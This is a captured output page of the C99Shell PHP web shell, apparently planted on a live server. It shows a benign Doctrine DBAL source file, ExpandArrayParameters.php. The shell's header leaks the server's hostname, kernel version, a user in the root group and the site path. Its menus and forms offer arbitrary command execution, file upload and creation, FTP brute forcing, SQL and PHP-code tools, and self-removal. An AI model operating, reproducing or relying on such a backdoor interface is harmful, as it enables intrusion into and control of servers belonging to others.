!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpandArrayParameters.php (3.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL;

use 
Doctrine\DBAL\ArrayParameters\Exception\MissingNamedParameter;
use 
Doctrine\DBAL\ArrayParameters\Exception\MissingPositionalParameter;
use 
Doctrine\DBAL\SQL\Parser\Visitor;
use 
Doctrine\DBAL\Types\Type;

use function 
array_fill;
use function 
array_key_exists;
use function 
count;
use function 
implode;
use function 
substr;

final class 
ExpandArrayParameters implements Visitor
{
    
/** @var array<int,mixed>|array<string,mixed> */
    
private array $originalParameters;

    
/** @var array<int,Type|int|string|null>|array<string,Type|int|string|null> */
    
private array $originalTypes;

    private 
int $originalParameterIndex 0;

    
/** @var list<string> */
    
private array $convertedSQL = [];

    
/** @var list<mixed> */
    
private array $convertedParameters = [];

    
/** @var array<int,Type|int|string|null> */
    
private array $convertedTypes = [];

    
/**
     * @param array<int, mixed>|array<string, mixed>                             $parameters
     * @param array<int,Type|int|string|null>|array<string,Type|int|string|null> $types
     */
    
public function __construct(array $parameters, array $types)
    {
        
$this->originalParameters $parameters;
        
$this->originalTypes      $types;
    }

    public function 
acceptPositionalParameter(string $sql): void
    
{
        
$index $this->originalParameterIndex;

        if (! 
array_key_exists($index$this->originalParameters)) {
            throw 
MissingPositionalParameter::new($index);
        }

        
$this->acceptParameter($index$this->originalParameters[$index]);

        
$this->originalParameterIndex++;
    }

    public function 
acceptNamedParameter(string $sql): void
    
{
        
$name substr($sql1);

        if (! 
array_key_exists($name$this->originalParameters)) {
            throw 
MissingNamedParameter::new($name);
        }

        
$this->acceptParameter($name$this->originalParameters[$name]);
    }

    public function 
acceptOther(string $sql): void
    
{
        
$this->convertedSQL[] = $sql;
    }

    public function 
getSQL(): string
    
{
        return 
implode(''$this->convertedSQL);
    }

    
/** @return list<mixed> */
    
public function getParameters(): array
    {
        return 
$this->convertedParameters;
    }

    
/**
     * @param int|string $key
     * @param mixed      $value
     */
    
private function acceptParameter($key$value): void
    
{
        if (! isset(
$this->originalTypes[$key])) {
            
$this->convertedSQL[]        = '?';
            
$this->convertedParameters[] = $value;

            return;
        }

        
$type $this->originalTypes[$key];

        if (
            
$type !== ArrayParameterType::INTEGER
            
&& $type !== ArrayParameterType::STRING
            
&& $type !== ArrayParameterType::ASCII
            
&& $type !== ArrayParameterType::BINARY
        
) {
            
$this->appendTypedParameter([$value], $type);

            return;
        }

        if (
count($value) === 0) {
            
$this->convertedSQL[] = 'NULL';

            return;
        }

        
$this->appendTypedParameter($valueArrayParameterType::toElementParameterType($type));
    }

    
/** @return array<int,Type|int|string|null> */
    
public function getTypes(): array
    {
        return 
$this->convertedTypes;
    }

    
/**
     * @param list<mixed>          $values
     * @param Type|int|string|null $type
     */
    
private function appendTypedParameter(array $values$type): void
    
{
        
$this->convertedSQL[] = implode(', 'array_fill(0count($values), '?'));

        
$index count($this->convertedParameters);

        foreach (
$values as $value) {
            
$this->convertedParameters[]  = $value;
            
$this->convertedTypes[$index] = $type;

            
$index++;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--